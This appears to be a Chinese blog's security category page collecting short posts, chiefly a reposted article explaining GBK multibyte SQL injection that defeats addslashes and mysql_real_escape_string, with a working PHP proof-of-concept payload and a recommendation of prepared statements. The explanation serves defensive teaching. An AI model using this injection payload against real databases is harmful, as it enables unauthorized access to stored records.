WordPress » 安全技术 imag1
 
 
你正在浏览安全技术
请问xoops-wordpress类别的顺序要如何更动?

请问类别的顺序要如何更动?

比如贵站的分类为

Blogging

CMS

综合

自由软件与开源社区

顺序想改成

综合

Blogging

自由软件与开源社区

CMS

访问异常

最近两天访问 xoops.org.cn 论坛viewtopic.php页面出现明显的被盾现象,其他叶面包括论坛首页、viewforum.php、viewpost.php等正常。
起初以为是程序异常,后来有其他朋友提醒说国内访问国外的newbb有时不正常;国外访问国内的newbb不正常;国内访问国内、国外访问国外一切正常。

我测试了一下,目前国内newbb/viewtopic.php页面我能正常访问的只有 oss.org.cn 一家。
还有朋友说xoops.org被盾,不过liangls刚刚测试可以正常访问。
前两天我这里也不能访问 kaifulee.com 的帖子叶面,今天正常了。
水母上有人说搜索freebsd被盾,有人说正常

情况似乎有些变幻莫测
需要尽快实现通用的url重写机制

addslashes vs. mysql_real_escape_string vs. Prepared Statements

Following atppp’s post about the difference between addslashes and mysql_real_escape_string from a topic on newsmth.net, I searched and found some topics and articles for on the issue, including Ilia Alshanetsky’s blog article: Ilia Alshanetsky: mysql_real_escape_string() versus Prepared Statements

mysql_real_escape_string() versus Prepared Statements

Chris has written a compelling piece about how the use of addslashes() for string escaping in MySQL queries can lead to SQL injection through the abuse of multibyte character sets. In his example he relies on addslashes() to convert an invalid multibyte sequence into a valid one, which also has an embedded ‘ that is not escaped. And in an ironic twist, the function intended to protect against SQL injection is used to actually trigger it.

The problem demonstrated, actually goes a bit further, which even makes the prescribed escaping mechanism, mysql_real_escape_string() prone to the same kind of issues affecting addslashes(). The main advantage of the mysql_real_escape_string() over addslashes() lies in the fact that it takes character set into account and thus is able to determine how to properly escape the data. For example, if GBK character set is being used, it will not convert an invalid multibyte sequence 0xbf27 (俊�) into 0xbf5c27 (縗’ or in GBK a single valid multibyte character followed by a single quote). To determine the proper escaping methodology mysql_real_escape_string() needs to know the character set used, which is normally retrieved from the database connection cursor. Herein lies the “trick”. In MySQL there are two ways to change the character set, you can do it by changing in MySQL configuration file (my.cnf) by doing:

CODE:
[client]
default-character-set=GBK

Or you can change on a per-connection basis, which is a common practice done by people without admin level access to the server via the following query:

CODE:
SET CHARACTER SET ‘GBK’

The problem with the latter, is that while it most certainly modified the charset it didn’t let the escaping facilities know about it. Which means that mysql_real_escape_string() still works on the basis of the default charset, which if set to latin1 (common default) will make the function work in a manner identical to addslashes() for our purposes. Another word, 0xbf27 will be converted to 0xbf5c27 facilitating the SQL injection. Here is a brief proof of concept.

PHP:

$c = mysql_connect(”localhost”, “user”, “pass”);
mysql_select_db(”database”, $c);

// change our character set
mysql_query(”SET CHARACTER SET ‘gbk’”, $c);

// create demo table
mysql_query(”CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET ‘GBK’”, $c);
mysql_query(”INSERT INTO users VALUES(’foo’,'bar’), (’baz’,'test’)”, $c);

// now the exploit code
$_POST[’username’] = chr(0xbf) . chr(0×27) . ‘ OR username = username /*’;
$_POST[’password’] = ‘anything’;

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST[’username’], $c);
$passwd = mysql_real_escape_string($_POST[’password’], $c);

$sql = “SELECT * FROM users WHERE username = ‘{$user}’ AND password = ‘{$passwd}’”;
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>

So what can you do? The solution is to use prepared statements, which are supported by nearly all PHP database extensions with the notable exceptions of MySQL (ext/mysql) and SQLite2 (ext/sqlite). So, to be on the safe side, I’d recommend using the PDO interface to talks with those databases or in the case of MySQL using the newer MySQLi (ext/mysqli) extension. Those interfaces provide prepared statement support, which allows for separation between query structure and the query parameters. It should be noted that while PDO does emulated prepared statements for older versions of MySQL that do not support them natively, emulation is still prone to the same kind of issues demonstrated here and in Chris’ article. Therefore for security reasons you should definitely consider upgrading to a more modern version of MySQL and SQLite (SQLite 3).

phpWordPress SQL Injection Vulnerabilities

今天在SECUNIA的邮件列表里看到了这个邮件 “phpWordPress SQL Injection Vulnerabilities”,事关自己使用和支持的wordpress,顿时心惊肉跳 (secunia的邮件隔几天就让我肉跳一次!)
打开看来

r0t has reported some vulnerabilities in phpWordPress, which can be
exploited by malicious people to conduct SQL injection attacks.

Input passed to the “poll”, “category”, and “ctg” parameters in
“index.php” isn’t properly sanitised before being used in a SQL
query. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.

好生奇怪,wordpress哪里来的”poll”, “ctg”这类参数?
再往下看

The vulnerability has been reported in version 3.0 and prior. Other
versions may also be affected.

SOLUTION:
Edit the source code to ensure that input is properly sanitised.

好家伙,几天没看,都3.0了!
赶紧核实,原来是 “phpWordPress“不是”php WordPress

经过千辛万苦,找到phpWordPress主页,原来是商业化的Blog
在页脚厚道的声明

This site is not affiliated with the open-source program WordPress in any way.
If you are looking for WordPress, please go to WordPress.org

所以,兄弟,要想增加网站知名度,不时地搞个Injection之类的安全漏洞,同时取个根名流相近的名字,看来是可行的主意阿

SHA256的PHP实现

一次次”狼来了”之后,猛然发现狼真的已经在大门口兜圈子了
我们真该面对 MD5与SHA的话题了

SHA hash functions at wikipedia

[TO BE EXPANDED]

http://forums.devnetwork.net/viewtopic.php?t=31069

(阅读全文…)